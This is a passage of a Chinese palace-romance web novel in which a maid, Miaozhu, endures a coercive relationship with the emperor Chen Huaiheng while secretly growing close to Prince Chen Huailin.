陈怀衡见妙珠變回了从前的样子,她就像是从前那样听话乖顺。 他的脸色終于缓和了一些下来,朝她伸手,示意她过来。 妙珠挪着步子走到了他的身邊。 陈怀衡问她:“来月事了?” “嗯。” 陈怀衡的手伸向了她的小腹,妙珠忍不住躲了一下,待她反应过来自己那下意识的动作时,已经晚了,去看陈怀衡的表情,果然见他脸色又难看了下去,她强行扯起了个笑,而后放肆地去抓着他的手,亲自带着他的大掌按到了自己的小腹上。 陈怀衡见她这般,神色稍霁。 “疼得厉害?” “嗯,真得很疼。” 是她这两年来,最疼得一次了。 陈怀衡脸色虽是好看了一些,可说话还是那样难听,他讽道:“怎么,你自己作践的,还委屈上了?” 他猜得到她昨日回去是给自己浇了冷水,给自己弄出了风寒,那说说看,现在肚子疼成了这样,该去怪谁呢? 她自己作践的? 妙珠却不这样觉得,说不定便是那避子藥喝得也说不准呢。 但她也只在心中这样想着,面上仍是没有显露出什么不满。 陈怀衡现在心情看着好些了,妙珠便趁着这个机会道:“陛下,真的很疼,站不住能不能歇个两日再回来呀。” 妙珠低着脑袋,就像是无害的稚兔,那双清透如琉璃的眼怯生生地望向他,不知道她是刻意的还是无意的,声音都听着软了许多。 不是陈怀衡的错觉,妙珠软和下来了,人也變得狡黠了一些。 从前的时候,他总是说她是个小哑巴,不管是疼啊还是怎么了,都憋在心里面不说,可是现在,終于学会撒娇喊疼了。 陈怀衡在这方面倒也没那般刻 薄,只要她听话,不和他闹那些脾气,他自不会故意去折磨她,他道:“去贵妃塌上躺着吧,朕唤太醫过来。” 妙珠想拒绝,可想了想,还是没有。 她想,现在少拒绝他些,往后才能多提些要求。 她没再说,听话去了里殿,躺在了榻上。 肚子确实是疼得厉害,一躺上床榻整个人就蜷缩成了一团,本就瘦弱的身形看着更单薄了一些。 过来给妙珠瞧病的太醫是个老熟人了,妙珠经常会在乾清宮看到他。 这是个上了年纪的老太醫,白胡子都一长串了,妙珠猜测,他应当是陈怀衡身邊的私人太醫,为陈怀衡處理着许多见不得人的事。 就像她。 陈怀衡没有将他的那些房事记录在敬事房的册子上,妙珠和他的事情,乾清宮中的人心知肚明,可是在此之外,没有任何的书面记录或者人能证实他们之间的关系,是以,在太医院中,自然是不好留下给一个宮女看诊的记录。给她看病的事情,自也是落到他那些私人身上。 太医来了之后,陈怀衡也跟进了里殿,他就坐在一旁看着他为妙珠把脉。 老太医写了张治疗风寒的单子,听陈怀衡说她来了月事,腹痛难忍,便又重新搭了手上去把脉,又看她的面色,舌根断病,最后面色些许凝重。 陈怀衡见此蹙眉问道:“是怎么了?” 老太医道:“这姑娘是避子藥喝得多了,伤着了啊。” 先前卿云来找他开过几回避子藥,再一把脉,便多少知道了妙珠今日疼成这般的根源。 定是叫那些避子藥伤着了身。 “避子药?” 陈怀衡眉头紧拧,反问道。 老太医道:“是啊,先前卿云姑娘不是还找我开了好几回的避子药嗎?” 想也知道是叫现在榻上躺着的女子喝的。 难道卿云不是听了陈怀衡的令才去开的药嗎,他这般惊讶做何? 陈怀衡看向妙珠问道:“你这些时日一直在喝避子药?” 他记得第一回的时候,妙珠是和他提过一嘴这事,不过,那个时候他将这件事情抛之脑后,末了也没叫人端药过去,而且后来妙珠也没再和他提过,谁知道,她自己原一直在背地里头喝着。 妙珠这人胆小柔弱,可在某些方面又意外的狠心。 她对自己倒是下得去手。 妙珠不知道陈怀衡在想什么,即便这件事情被捅落了出来也没有不安。 因为她敢肯定,这件事她决计是没有做错的。 若是不喝避子汤,那到时候若她倒霉一些真有了孩子,那该怎么办? 左右也是生不下来的。 到时候要被逼着堕了孩子,那实在是太可怕了些,倒不如就此扼杀在了摇篮之中。 况说,她这也是给陈怀衡省麻烦,他完全没有要生气的必要。 老太医叮嘱这段时日不可再行房事,开了药后便离开了这處。 陈怀衡坐在贵妃榻邊一直没有说话。 从妙珠的这个方向,只能看到他那瘦削的下颌,高挺的鼻子。 妙珠看出他好像又不开心了,可是实在不知道他又是在不高兴些什么。 她坐起了身,看向陈怀衡,道:“陛下” 陈怀衡问道:“是一直在喝?” 妙珠点了点头,她道:“奴婢知道不配生龙种” “还说这话,存心气我?” “怎么会?” 妙珠去蹭了蹭他的下颌,这是一个极其讨好他的动作,她似乎是在安抚他,可是,安抚好了他之后,下一刻她却又马上抛给了他一个堪称刻薄的问题:“难道陛下会容许奴婢生下孩子嗎?” 会吗。 别开玩笑了。 再说,就算他肯,她也是不肯的。 生孩子又不是像来个月事那样简单,流了一滩血就干干净净了。 所以,别在这件事情上无理取闹了,就这样让它过去吧。 陈怀衡被妙珠蹭得没脾气,也或许是在看到她的柔弱与苍白之时就没了脾气。 她一卖乖,一来讨好他,他就想不出法子来对付她了。 显然,她好像也发现了这一点。 方才的那把剑不会劈到她的身上,让她好像也开了窍。 陈怀衡没有泄露出自己的心绪,只道:“这东西伤身,往后别再喝了。” “那怎么能行呢?” 妙珠不肯,她甚至都不知道陈怀衡这是顾忌她的死活,还是不顾忌她的死活了。 陈怀衡硬了语气,道:“朕说不用喝就不用喝,旁人求着不喝的东西,你当是什么灵丹仙药的往嘴巴里头送,作践自己也不是这么个作践的法子。” 妙珠抬眼看他,就见他气得薄唇紧抿。 她的嘴唇张张合合,最后却还是闭了嘴。 “哦,好吧”她闷闷地应了声。 陈怀衡派人去照着太医留下的方子打药来煎,最后也总算做了件人事,后面几日也没再让妙珠继续跟着,让她好好在房中养身子先。后来,他还让她一人搬去了一间屋子单独住着,是让卿云去传话的,他说是怕她总染风寒,到时候弄得一间屋子里的人也跟着倒霉。 妙珠管他那么多,他给她,她受着就是。 过了些天,施寧煦也要离开皇宫,回去施家。 这几日,她没有再找过妙珠,或许因着施枕谦的那事,她自己也觉无颜见她,妙珠不来寻她,她便也不好意思寻她。 一直到离开京城,回去施家前,她终于下了床,裹好了厚重的冬衣,去她的房中寻了她。 妙珠开了门,见是施寧煦,便赶紧将人迎了进来。 外头的天太冷了,怕她受不住。 这是施寧煦第一回来宫人住着的屋子,她被这房中陈设弄得稍稍惊讶。 这房间虽装潢不过分华贵,可全然也不像是宫人住着的屋子,就连此處用的炭,施寧煦也能感受到,是些主子才用的上好的炭。 当然,她也知道,都是陈怀衡的手笔。 这便让她越发看不起陈怀衡那人了。 心中分明是有些在意人的,可行事却又如此恶劣乖张。 好没道理的人。 说到底,也还只是将人当做宠物一般养在身邊。 妙珠将宁煦迎进了屋子里头之后,又把窗户开了一条小缝。她身上的风寒还没好透,屋子里头还是透透气好,不然害得宁煦也得染了病那便不好了。 她看宁煦身上裹得如此厚重,问道:“施小姐今日是要走了吗?” 她不继续在宫里面待着了吗? 这次来寻她,也是为了道别的吗。 施宁煦道:“不待下去了,皇宫气闷,待着病也养不好。” 这宫里头,还是那样的鬼气森森。 这才回来,就遇到这样的事。 施宁煦想到那些不愉快的事,胸口的气又难顺,气得轻咳,妙珠忙为她拍背。 施宁煦借此机会,抓着妙珠的手道:“妙珠,接下来我同你说的话,不是在吓唬你。” 妙珠叫她突然的话弄得莫名其妙,她到:“施小姐,你怎么了” 施宁煦盯着她嘱咐道:“不要信,这宫里头的人都不是什么好人,你不要信他们。” 她不知道上回的事情究竟是谁害的,可想着,既是太后喊她进的宫,多半是同她脱不开关系。 莫看她面上看着待她多和善,可背地里头下起手来一点也不带心软的。 可至于为何这般针对于他们,那她就不知道了。 他们每个人都心怀鬼胎的。 谁知道心里头都在想些什么呢。 妙珠听到这话,虽觉奇怪,可见她如此严肃,也一 直点头应道。 “我知道的,我都知道的。” 施宁煦最后要离开了,妙珠道:“我送送你吧,施小姐。” 她送她几步出宫。 施宁煦道:“外面天寒,你待在屋子里面吧。” 妙珠不大肯,仍道:“就让我送送你吧,我已经很久没有离开乾清宫了” 她没有什么借口离开这个地方,若是出去了,叫陈怀衡知道了怕是又要多嘴。 可是,送施宁煦的话,下回陈怀衡再问起来,她插科打诨的也能有说法了。 施宁煦也明白了她的言下之意,她不再拦她,叮嘱道:“你多穿一些,别再着凉了。” 问过卿云,听说她前些天染了风寒。 两人出了房间,下了乾清宫的玉石阶,发现施枕谦也在那里站着,他身边的下人身上拿着大大小小的行囊,看样子,他站这也是在等着施宁煦回家的。 他没想到妙珠也跟了出来,在见到她的那一瞬表情有些不大自然,最后僵硬地撇开了头,什么话都没说。 妙珠也没同他说话,没有给他行礼。 出宫的路上,施宁煦和妙珠说了不少的话。 施宁煦刚养好病,这些时日的调理下,气色已经看着比先前好了许多,不过,比落水前那会相比,还是有些不大好。 今日天气晴朗,午后的阳光照得空气中的冷意也没那般透骨。 施宁煦大抵是真的挺喜欢妙珠,总是想着法子寻她说话,她和她说起了以往他们在北疆的生活,说起了那边的人情风物,还说起打仗的那段时日,不可遏制地提起了小理 施枕谦制止道:“你和她说小理做什么。” 施宁煦道:“和你有什么干系?” 她和妙珠说话,他又有什么好插嘴的,看他都烦。 就像是和施枕谦作对,妙珠也跟着问:“小理是谁?” 从施宁煦的口中才知道,小理原也是一个已经死去的人。 妙珠听来,那好像也是一个幸运又可怜的姑娘。 小理出身在一个北疆贫寒人家,在十岁那年结识了刚好从京城到北疆的施宁煦。施宁煦从没见过那样的人,长在穷苦人家,却就跟一株坚韧的小草一般,在贫瘠的荒凉地中长成了北疆坚韧的大树。 施宁煦第一次和小理见面,是刚和父亲他们到了北疆,在边陲小镇上歇脚,她好奇北国风光,悄悄出了门,结果却不慎走丢,找不到回去的路。这个时候,小理出现了。 那个时候施宁煦不认识她,没见过她,可小理在人群中,上天就像是专门在她的身上打了束光一样,施宁煦一眼就看到了她。 小理身上的坚韧,深深地吸引了从京城初到北疆的施宁煦。 在那个地方,没有能压抑小草生长的毒废料,所有坚韧的生命都可以变得坚韧。 只可惜,参天的大树也还是躲不过一场灾害的侵蚀。 年少时不能遇见太惊艳的人,而且那人最后还成了死人。 施宁煦直到现在也忘不掉在北疆的那个已经死去的朋友。 妙珠已经送他们到了东华门,施宁煦让她不用再送了,再送,也送不了了。 妙珠看了眼宫门外,看了许久许久,可最后还是收回了视线,回头走向了那没有尽头的深宫甬道。 施宁煦看着妙珠的背影,忽地吐出一句:“妙珠和小理很像,你不觉得吗?” 怎么会像?别开玩笑了。 就连施枕谦也感叹小理生命力的顽强,就连在死前,她整个人看着都神采奕奕,天让她死,她都会用他们北疆的俚语大骂狗老天。 妙珠拿什么和她比? “你说胡话了。” 施宁煦摇头,她说:“真的,看着吧,怀衡哥他迟早会后悔的。” 他迟早会后悔那样对她的。 他想要驯服她,他驯服不了她。 当然,这也都只是施宁煦心中的猜测,仅凭她的直觉。 那两人上了马车出宫,在这时,一辆马车刚好停在了这,陈怀霖从马车上下来,给士兵看了令牌便进了宫。 这些天他已经往宫里跑了很多趟,都是为了陈怀衡所要推的新政,今日听说还有一些大臣在,怕是少不了要吵架。 冬风料峭,他的身上裹着一件白狐裘,行走在深长的朱红甬道中。 自从搬出宫后,这条甬道他都快已经数不清走了有多少回,深长的宫道寂寞又无趣,除了春夏秋冬有变化外,紫禁城中的一切好像都没有变化。 朱红宫墙在阳光下泛着单调又乏味的光芒,宛若一道天堑,隔绝出了内外两个世界,他一如往常走着,抬眼就是看不到尽头的甬道。却在这时,眼前出现了一个熟悉的身影。 那身影单薄,陈怀霖几乎是在片刻之间就认出她是妙珠。 不知她为何会出现在这处,竟不在陈怀衡的身边。 他想到上回在乾清宫见到的那副场景 莫非是惹了陈怀衡生气,被赶走了? 陈怀霖脑海中胡乱想着,腿却比他先反应过来,他快步朝着她的方向走去。 他没几步就追上了她,开口唤她:“妙珠。” 妙珠听到身后的动静,停下脚步回头看去,发现竟是陈怀霖。 她的眸中不自觉浮现了几分亮光,问道:“殿下,这般凑巧,你也进宫来了?” 是真凑巧,能在这处碰到。 若是在乾清宫碰到,怕又是说不了两句话,可是在外面的地方碰到,那便不大一样了,陈怀衡也不会闲得叫人过来盯视她。 陈怀霖见到她,也笑了声,道:“确实巧,你怎么出来了?” 两人并肩走着,妙珠回他的话,解释道:“方才施小姐出宫,我出来送一送。” 陈怀霖想起,方才下马车的时候好像确实是看到有辆马车刚好驶离,原是施家的人。 前些时日宫里头发生的事情他也听说了些许,他听说了施宁煦落水的事,也听说了,是乾清宫的一个小宫女推的人,他让人去打听了一下,才发现原是妙珠。 陈怀霖知道,她和施宁煦大抵都是叫人害了。 听说那天叫他们过去的是太后,那想来,应当就是她动的手了。 至于为什么呢?那谁又能知道。 孝端太后就是那样一个不大讲理的人。 陈怀霖想了想后,还是出声问道:“你没事吧?” 她没事吧? 那天被人陷害的时候,没事吧? 被陈怀衡拿剑指着的时候,没事吧? 还有还有被逼着剪了帕子的时候,没事吧? 陈怀霖真的很好奇,妙珠,她没事吧。 陈怀衡是那么一个不讲道理的人。 这么多的事情堆到了她的身上,实在是很难叫人去承受啊。 陈怀霖那带着关切的话几乎让瞬间眼酸,许是风太凛冽,她的眼睛忍不住泛出了泪。 有事的。 她有事的。 她真的也快受不了了。 可妙珠的喉咙堵得慌,偏偏这个时候又一句话都说不出去。 陈怀霖等不到她的回答,就看到她泛红的眼,看着她从眼角滚出的泪珠,那些泪,顺着她洁白无暇的肌肤流下,最后只剩下了一道道干涩的泪痕。 多可怜。 每回见到她都哭红了眼睛。 陈怀霖看着妙珠泪眼朦胧望向他,喉咙不知怎么地也涩得难受。 他竟想起了兄长死后的那段时日,那段时间母妃终日以泪洗面,她的那双眼睛,也充满了这样的绝望,太子兄长死后没几个月的时间,母亲就从颓废之中走了出来,自那之后,她就将她的希望全都寄托到了他的身上。 她毕生的愿景有两个,一是希望有朝一日能挤掉病弱的皇后下台,成为新的皇后,还有一个是,愿她那出色的儿子能登基为帝。 只可惜,那两个愿望一个比一个难实现,她最后还是抱恨而终。 当初她死也不相信先帝会将皇帝之位传给陈怀衡,直到,她亲眼看到先帝的遗诏 ,那是他身边最得宠的太监亲手为他写下的诏书,那上面盖着玉玺的印 在看到这份千真万确的诏书之后,皇贵妃的眼中陡然涌现了绝望,那股绝望,一直到现在陈怀霖都还记得。 她大概对他也很失望。 早逝的兄长落水后死于惊恐辜负了她的期望,而他,用尽全力也没能登上那个皇帝宝座,最后也还是让她绝望。 陈怀霖看着妙珠的眼睛,竟好像也看到母亲死前的绝望。 可是母亲多大,妙珠才多大啊? 她这个年纪就这样了,往后的日子该怎么办呢。 他竟伸出了拇指,为妙珠擦拭着眼角的泪,他道:“你别难受,妙珠” 然而,他话都还没未说完,妙珠就忽地抓住了他的手,她抓得很紧很紧,就像是抓住了一根救命稻草。 她哀切道:“殿下,那条帕子不是我想剪的,是他逼着我剪的。” 是陈怀衡。 全都怪陈怀衡。 他总是会逼着她去做各种各样不喜欢的事,做她讨厌的事。 所以,殿下,原谅我,原谅你待我这么好,我还做出了那些事来。 陈怀霖有一瞬的惊愕,可低头看着妙珠双望着他的眼,最后还是没有抽回手来。 他为什么要抽手? 方才分明是他先动手的。 听到妙珠的话后,他道:“我早知道了,那日便已经知道了。” 那日看到妙珠的模样,和陈怀衡耀武扬威的样子,他就什么都能猜到了。 两人最后也没能这样太久,毕竟现在这里暂没有士兵往来,不代表一会没有,万一过会被来往的人撞见那便不好了。 他们往着人烟稀少处去,希望尽量不要叫人发现。 妙珠喜欢同陈怀霖说话,也喜欢同他走在一起,尤其是在那些事情发生之后,她不用再顾及陈怀衡想什么,不用再顾及他的警告,她唯一要想的只是:不要被他发现。 唯一要做的也就是,不要被他发现。 人会在紧张的时候心跳加速,而在心跳加速的时候误将那种种复杂的情绪,归结于欣喜与悸动。 就像现在,妙珠觉得自己的心跳得都比平日快了些,当然,她分不清那是怕被陈怀衡发现的恐惧,还是真正的由衷的欢喜。 亦或者,两者都有。 这些情绪混杂在一起将人的心跳弄得更快,而心跳,又将这些情绪弄得更加复杂。 人在情感二字面前,大多千篇一律,现在的陈怀霖和妙珠的感受也大抵一致。 皇帝的宫女和王爷,在禁忌面前,便是端庄君子也会觉得有一丝莫名的快意。 两人心照不宣走着,心照不宣谈论着,他们身与心的距离,竟也在心照不宣的靠近。 陈怀霖是个会倾听的人,也是个会诉说的人,妙珠和他说话时,总能觉得新奇,而在妙珠说话时,他又会给出适时的反应。 妙珠从前只觉陈怀霖如窗前冷月,檐上霜雪,让人高不可攀。 可是今日,她却发现,月亮落到她的手上,她踮踮脚,也能够到屋檐上的皑皑白雪了。 最后两人是错开时间回的乾清宫,妙珠先回去,而陈怀霖晚了两刻钟到。 今日发生的事情,或许有人会知道,或许最后会被传到陈怀衡的耳中,不过妙珠想,这也值当了。 如果说挨罚就能和陈怀霖多说一些有趣的话,那也可以。 妙珠回了屋子,觉得脸上还有些烫烫的,坐到铜镜前,发现那张被脸许是被寒风刮的,红扑扑一片。 妙珠走到了衣柜前,从最底下的地方翻出了一条白帕。 那是他们第一次见面时候,陈怀霖给她擦鼻血的帕子。 这上面的血渍后来被她寻了法子洗干净,帕子崭新如初,就和一开始的时候陈怀霖递给她的那样。 她坐到了桌边,拿出了针线,穿针引线,而后开始在这条白帕上绣兰草。 妙珠憋闷地想着,上回的帕子那条剪了就剪了,她反正还有。 这条不用还,而陈怀衡也不知道。 她藏得好好的,他也别想知道。 冬日里头,昼长夜短,妙珠绣到一半,天就暗下来了,才把东西放起来就听到卿云在敲门。 说是陈怀衡唤她过去。 自从上回过后,已经过去了六日。 这六日陈怀衡都没再找过她,没来闹腾过她。 今日怎么回事? 妙珠心下猜疑,不知他喊她过去是做些什么,可又在另外一方面,隐秘地想着,陈怀霖又还在不在? 若是在的话便好了。 她想。 下午的时候他们才见过,晚上又能见着。 而且,只有他们知道,陈怀衡不知道。 这样想着,妙珠心中还难得有些痛快。 只可惜,等去的时候陈怀霖已经不在了。 不过,妙珠的脸上也不曾浮现一丝失落。 屋外的天已经悄无声息地黑了透,殿内已经点起了火。 陈怀衡劳累了一日,此刻也没再看奏折,没再处理政务,而是合着眼按揉着太阳穴。 妙珠有眼力的上前,走到了他的身后,按住了他的手腕。 她道:“陛下,奴婢来吧。” 陈怀衡动作顿了片刻,听到她的声音后便也放下了手。 两人都没说话,妙珠一直勤恳地用手替他排忧解难。 殿内沉寂,只有陈怀衡的手指轻扣桌面发出的声响。 过了会,妙珠听到他开口:“听卿云说你今个儿出门去了?” 第37章 第三十七章你是不是对我的心做了什么…… 妙珠听到他的话,手上动作下意识一顿,不过很快就恢复了如常。 陈懷衡若是知道她今日出去见过陈懷霖,那现在也不会是这样的情绪了,他应当也只是知道自己出去罢了,却还不知道他们两人之间的事。 这样想着,她也镇定許多,用事先想好的说辞回道:“施小姐今日归家了,奴婢去送送她了。” 陈懷衡的手掌搁在桌面上,手指仍舊有一下没一下叩敲着桌案,他道:“出去也不知道禀告朕?” 现下倒是会自己悄悄地往外头跑了。 妙珠道:“陛下不是在和大臣们议事吗奴婢也不好打搅。” 陈懷衡轻笑一声,道:“那还成我的不是了。” 确实是他的不是。 妙珠心中想着,面上却笑呵呵道:“千错万错,也只有做奴婢的不是。” 她说这话不过为了哄他,可却又像是隔空戳了一下前些时日发生的那桩事,显然,不只是妙珠意识到,陈怀衡也意识到了,这件事就像是生在肉里的烂疮,表面瞧着是被揭过去,可是,隔着皮肤戳那么一下,又开始重新流脓。 这种感觉非常不好,陈怀衡也很不喜欢。 他问她:“是在故意刺我?” 刺他? 那他实在是想太多了。 若说前些时日的妙珠,说不准真会明里暗里刺他讽他,可是现在,没必要了。 她不会做那些吃力不讨好的事情,也不会奢望陈怀衡对她觉得抱歉。 她马上柔声道:“陛下冤枉,真心话。” 妙珠越发的巧言令色,越发的会说这些哄骗人的话,不同于先前,今时今日这些话在陈怀衡耳中听着越发的虚假。 她看着像是已经放下了那件事,然而,她的虚情假意就像是她给他无声的反抗。 陈怀衡意识到了这一点。 可他对她这样的行径好像没有办法,也说不出什么不对的地方。她一没有发脾气,二又乖乖听他的话,那他还 有什么能够指摘她的地方吗? 没有。 完全没有。 所以,陈怀衡暂时选择假装不知道。 他想,时间总会抹平一切,就像他,也已经快记不得很久之前的一些事情了。 妙珠也早晚会不记得那些事的。 陈怀衡不再繼續想下去,也不想再从妙珠的口中再听到什么巧言令色的话,他伸手抓住了她的手,指尖有一下没一下地蹭着妙珠手背上的肌肤。 他的动作带着说不出的轻柔,蹭得妙珠浑身上下都跟着发痒。 她察觉到了他的意图,低声道:“奴婢的月事还没走干淨呢” 陈怀衡不信:“是吗?我记得分明已经快有七日了吧。” 妙珠没想到他还在背地里头记着日子,按理来说七日是該走得差不多了,可是这回或許是喝了上次太医开的药,月事的量也大了一些,到了现在还淌得厉害,她道:“上回喝了那些调身子的药,多了一些,确实还没走全呢。” 听到妙珠这样说,陈怀衡也不再繼續强求,可妙珠却又开始善解人意,她道:“陛下若是想,可以唤别人来” 他是皇帝,即便宮里头现在没有妃子,可他也从来不缺女人,他现在正是年轻气盛之时,妙珠是真受不住他的日夜索取,倒不如趁着这个时候,劝他尋些旁人,若是运气好些,叫他在旁人身上尋到了趣,她是不是也解脱了 妙珠在这方面很喜欢偷懒,受不了就是受不了,受不了就想着法子躲。 她自以为是在给陈怀衡分忧,然而她站在他的身后,没能看到他逐渐阴沉的脸色。 陈怀衡手上的动作忽地用了些气力,妙珠马上就疼得“嘶”出了声。 她被他扯到了前面,手腕一直被他牢牢锢着,挣也挣不开。 陈怀衡睁眼看她,道:“你今个儿倒贴心得很,怎么,叫朕去寻旁人解闷,你便能躲懒了是吧。” 那双狭长的丹凤眼中尽是锐气,妙珠叫他看得不敢辩驳,她只是低声道:“没有” “没有?还说没有。”陈怀衡的嘴角勾起了一抹讽刺的笑,“蠢死了,这些小心思就别用在朕的身上了。” 妙珠不敢再说了,垂眸不言。 陈怀衡叫她的缄口不言弄得更加气闷,倒不如她和方才一样巧言令色才好。她应該好好给他说说,哪根筋搭错了怎么敢来说这样的胡话,最后最好再三给他保证,以后绝对不再说这样的话。 可是,她什么都没有说,只是说了“没有”二字之后,就一直沉默无言。 她不说,陈怀衡当然也不会主动开口去要她说。那像是什么样子?他难道还要求着她说不成? 他下定决心要好好惩罚一下这个不知天高地厚的婢女,引诱着他蹲到了自己的身前,让她乖巧地伸出双手。 他道:“知道该怎么做吗?自己会弄吗?” 妙珠明白他的意思。 殿里头的炭火燃得很足,妙珠身上穿得很多,鼻尖都冒出了不少的汗珠,她点了点头,“嗯”了一声。 她虽然在司衣司中裴嬷嬷没叫她做些什么太重的活计,可身为宮女,手上也難免有些薄茧,可她的手指生得又很漂亮,叫人觉得那层薄茧也像是异样的点缀,她伸出手,按照陈怀衡的意思动作。 她懂得不算多,但打小见多了这样的事,真到自己做起来了的时候,竟好像也无师自通了。可不知道是陈怀衡憋得太狠了,又还是存心想叫她不好受,她迟迟不能停下,方想开口询问,终在这时,他发出一声闷哼,妙珠掌心一热,终是结束了。 妙珠看着掌心,通红一片,上面零零星星落着什么。 她都要认不出这是自己的手了。 陈怀衡见她发愣也没说什么,给自己擦了干淨又拿了她的手过来弄了干净,上面的污秽没了,可掌心的红却仍舊消散不掉。 一直到了晚间时候,妙珠回了自己的屋子,本是想继续去绣那未曾绣完的帕子,可一想到方才做的那事,最后还是歇了心思。 别把她的帕子给弄脏了。 也或许是这两日妙珠的身上还来着事,陈怀衡也大发慈悲没喊她回去,一直又过了几日,她身上的月事终是去了干净。 西北送来的寒风连着刮了好几日,凛冽的风在幽深的皇宮中鬼哭狼嚎。灵正八年的第一场冬雪就是在这样的时候落下,十二月多的日子,天才透亮时,忽地就从天上飘下了一点点的雪。 这日,不待陈怀衡让卿云来喊她,妙珠自己先回去了他的身边。 总归是要回去,那倒不如自己回去,还省得他开口让人来喊。 等从屋子里面出去,天上不知是从何时落起了雪,卯时未到,天也还没有亮得透彻,妙珠觉得眼前有白花花的东西落下,脸颊上也似有冰晶垂落,妙珠仰头,就发现天上飘下了一片又一片的白雪,这道从天而降的晶莹剔透的雪,轻而易举地划破魆黑。 妙珠张开了嘴,些许的雪花落入了口中。 当初小妹还活着的时候,就经常喜欢和妙珠在下雪天吃雪,洁白的雪花,似乎也能涤荡人体中流淌着肮脏东西。 妙珠尝了几口雪,没在外面耽搁多久,进了主殿去寻陈怀衡。 陈怀衡还不曾醒来,掌灯宫女也还没有过来点灯,妙珠去了趟值房那处,让那两个守夜的宫女先回去歇息。 她们两人见到妙珠来了,便也先回去了。 近些时日妙珠在皇帝面前得脸,她们自然是都看得出来的,前段时日听守夜的人说,妙珠还留在了主殿过夜而且,自从妙珠跟在皇上的身边之后,乾清宫已经很久没有出过事了。 本来以为前些日子出了那桩事,她被皇上罚了三十板子就该失宠了,却不想又回了他的身边。皇上器重她,还给她一人配了个屋子,那屋子有不少人去看过一眼,看了都眼红得很,那哪里是一个宫女住的屋子,说是主子也不为过。 但,妙珠性子实在是好,软乎乎的,就跟个白面馒头一样,叫人喜欢得紧,她也从不恃宠而骄,炫耀嘚瑟过什么,旁人看了最多说她一句命好,得了陛下青眼,其他的闲话,也都不曾编排过什么。 妙珠又哪里知道别人心里头在想些什么,从值房出来后又去了寝殿里头,天仍旧是灰蒙蒙的,她过去掌了一盏灯,殿内终于亮堂了一些。 陈怀衡从她进殿的时候就已经渐渐转醒,他看着她,看着她去掌灯,又看着她走到了床榻边。 妙珠没有服侍他起身的意思,她蹲在了床边,撑着下颌,笑吟吟地对他说:“陛下,外头落雪了。” 妙珠一笑,那双圆鼓鼓的眼睛就眯成了一条,看着狡黠又动人,陈怀衡坐起了身,忍不住伸手摸了摸这只一大早就凑过来的小兔子。 他道:“小傻子,落雪了这么高兴?” 妙珠看着他道:“只是想着,陛下应该会高兴。” 今年的雪落得有些晚了,往年刚入十一月的时候,天上就开始飘雪了。 她上回和陈怀霖见面,问他这段时日怎么入宫这般频繁,从他的口中听说,陈怀衡最近一直在为新政的事情心烦,而天上不下雪,也给他带来了不小的麻烦。 那些大臣借着天不落雪的由头给陈怀衡施压,示意他不要继续推行新政。 在京城,任何一件事都能被那些文官拿来当做攻讦的理由,民间有句俗语是瑞雪兆丰年,上天迟迟不降雪,那必然是主君出了问题。 主君最近做了什么坏事呢?那应当只有意图推行新政一事了吧。 陈怀衡面临的烦心事其实也不少,身为皇帝,坐在金銮殿中,掌管天下事务,每日早朝时要面对的也都是天底下最迂腐最難缠的士大夫。不过,像是天不落雪的这样事情他根本就没放在心上,他又不能掌控老天下不下雪,这种事情,他就算急也没有用。 他不着急,所以到了真的下雪时,便也不会有多高兴。 不过,看到妙珠说出那话之时,他心情莫名也跟着好起来。 心情这种东西,就和心一样,是个极端古怪的东西,就在这样,一个天光熹微的清晨,他就坐在床上,看着面前眉眼弯弯的小宫女,就在那么一瞬间,心莫名的不知道被什么东西操控了。 这是什么奇怪的情绪?向来聪慧的陈怀衡竟也有些摸不透了。 有的时候,他真的很想抓着老天爷问一问,你是不是对我的心做了什么手脚? 为什么总是会有那些莫名其妙的情绪占据他的胸腔? 第38章 第三十八章惩罚 陳怀衡 起了身,前去太和殿,外面落了雪,他没叫妙珠跟出来,让她在乾清宫等他回来。 她这身子骨弱得不成样,风寒也才刚好,屋里头先待着吧。 妙珠趁着闲时,去为陳怀衡整理了桌案,看出来他这段时日也确实是忙,奏折快把桌案堆满了。她整理了好半天,这时,卿雲从外头进来,站在殿门口唤她道:“妙珠,外头挂灯笼了,出来瞧瞧吗?” 妙珠应了她一声,放下了手头的東西去了殿外。 妙珠看到有两三内监站在梯子上往檐角上挂灯笼,她好奇问道:“现下这时候就要挂红灯笼了吗?” 卿雲道:“这都入十二月了,快到小年了,正逢今个儿落了雪,该挂上喜庆喜庆了。” 大红灯笼在这片天地之间格外刺眼,一抹红点缀在这单调的色调之中,乾清宫马上就带了些不一样的味道。 红灯笼一被挂上,马上就有了一种年关将至的实感。 妙珠道:“真快,就要过年了。” 卿雲也道:“是啊,这样一算,你来乾清宫都快半年了,晃眼就过。时日就是这世上最不值钱的東西喽,任凭神仙也怕。” 她在宫里面也就这样不知不觉待到了二十歲,她再去想刚进宫那会的情景,竟什么都快想不起了。 这些東西想不得,越想越叫人心里面堵得慌,卿雲将那些伤感的情绪抛之脑后,又道:“再等等就过年了,过年了宫里头就热闹了。” 妙珠拿了个放在地上的灯笼在看,忽然想到了什么,问卿云道:“卿云姐,我有件事想要问问你。” “你说。” “协王殿下怎么现今都还不曾娶妻呢。” 卿云听到这话,下意识蹙了眉,她看了看周遭,见没人注意到这处,凑过去小声道:“你怎么突然提起他来了呢?” 妙珠这没头没脑的来一句,实在是難叫人不去多想。 卿云看着她,不肯错过她面上的一丝表情。 妙珠若无其事道:“只是好奇罢了,寻常男子这年歲都该娶妻生子了,这协王殿下都二十一了呢。” 卿云在她臉上见不得异样,也没松气,不过还是回了她的话,她道:“这娶妻生子的事谁说得准呢,只是,殿下的身份也着实是有些尴尬,他娶谁,怕也都得过陛下的耳目,娶高了,不大行,娶低了,那也不成。殿下自己看着也不在意这些个男女之事,一拖再拖,可不就拖到现在了吗。” 原是还要陳怀衡过目,也難怪上回陳怀衡在榻上那样问她,问她要不要给陈怀霖寻个王妃。 妙珠捏着灯笼的手不自觉用力了些,差点都快给骨架捏变了形。 卿云见状,面色有些難看,她声音有些响,将她唤回了神来。 “妙珠。” 妙珠终于抽回了神来,就见卿云面色严肃看向她。 她意识到自己的情绪在卿云面前泄露出了些许。 但其实,她压根也就没有想要在她面前隐藏的意思。 妙珠听到她在用一种近乎警告的语气对她说:“妙珠,你不该去想协王的事情,那不是你该关心的。” “那我该关心什么?” 妙珠的反问在卿云听来竟带着一种自暴自弃的味道。 她就像是在反问她,她不关心善良的协王殿下,难道要去关心那个残暴的是非不分的帝王吗? 她不敢在陈怀衡面前说些什么不是,甚至还要讨好卖乖,可心里头,就是难受。 她是卑贱的奴婢,对他听之任之,可没办法,还是那句话,没人能控制自己的心。 